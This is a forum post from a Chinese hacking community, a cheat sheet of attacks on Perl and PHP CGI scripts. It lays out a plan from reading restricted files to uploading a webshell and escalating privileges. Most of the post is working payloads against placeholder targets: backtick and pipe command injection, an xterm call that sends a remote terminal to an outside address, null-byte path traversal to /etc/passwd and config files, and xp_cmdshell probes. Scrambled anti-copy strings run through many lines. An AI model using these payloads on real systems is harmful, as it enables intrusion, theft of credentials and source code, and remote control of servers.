找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2451|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ; ^$ x. w( x* y5 i4 ?
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  2 R; i# C4 {& d: r8 a5 r
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  : ^  D7 N% J3 d* z7 w
注“  
. P6 o: n+ `. z* `" I- l1 bperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  & a+ E+ ]  {+ J$ Q5 _
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  - z6 q/ Y% A) v) s7 j

  M3 \- X, o5 fhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ! K! Z- O! N9 _( V# v
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ) ^& a' p: c5 A" Y7 `
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  $ R2 N' R2 _. ]* T" ^
http://target.com/cgi-bin/home/news/sub.pl?`id`    ]5 n+ u# x- |- p3 z
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
. Y5 ]% {4 t+ [5 |+ q. H0 Z/ Ehttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  , R8 a, `2 k6 _# c9 [4 Z) x& X

, s2 R, M) S. ~5 vhttp://target.com/test.pl;ls|  
4 \" H2 Z* o3 d4 m7 Mhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ) ?& I7 f& [& ]
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
+ i6 l$ [* n  H; ]2 U- {% v0 Ihttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
/ g; ~; U$ G$ ?比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
+ O% X2 U* {; l9 |http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  $ p8 P0 [4 G6 n$ L# I9 F
: s3 e. i$ w3 d/ x1 F  a
http://target.com/test.pl?&........ /../../etc/passwd  4 Q' }8 b  f$ ^

$ l- P2 }$ C- ^. Vhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  " I: A& f" a) `7 w: K
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  & t5 W$ F1 j& L" c, T% y, b
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  2 O& ]6 w' z- f2 S
' h: z* [0 D! w7 O& R; p
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
% n2 y/ e* a) M8 f* Ghttp://www.target.org/show.php?f ... ng/admin/global.php  
5 Q; q/ v3 S. G& ^
: J3 a2 e0 ?- {- c3 U: {$ E  m) oemm和ps的一句话
" Z8 S0 |4 B0 B- l0 P2 W
$ v$ [1 ]/ X" ]- n# Qhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20    q! n" {* b+ M
+ M2 W) V4 J, \! J" I
>bbb%20|  4 ~: ]! F- i& g* O
- b4 }/ b+ Z7 N, O  U+ D
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ( g. W* H- j9 k! v

  i/ E# ?, K# @+ j% dhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  - q3 x% p6 y0 Z2 C) U2 U0 }. e5 x
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
- P" w8 p  X% ]1 e: K% w( T; @7 g+ M$ m6 v; t2 K- d* y
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
* y7 J5 X+ \# a4 g0 z( S! mhttp://target.com/index.html#cmd.exe  1 {) f! c$ H* g8 T3 Y) g
http://target.com/index.html?dummyparam=xp_cmdshell  ' i0 r, e* Q6 r2 S( h
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  + c; g8 w8 U: W7 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表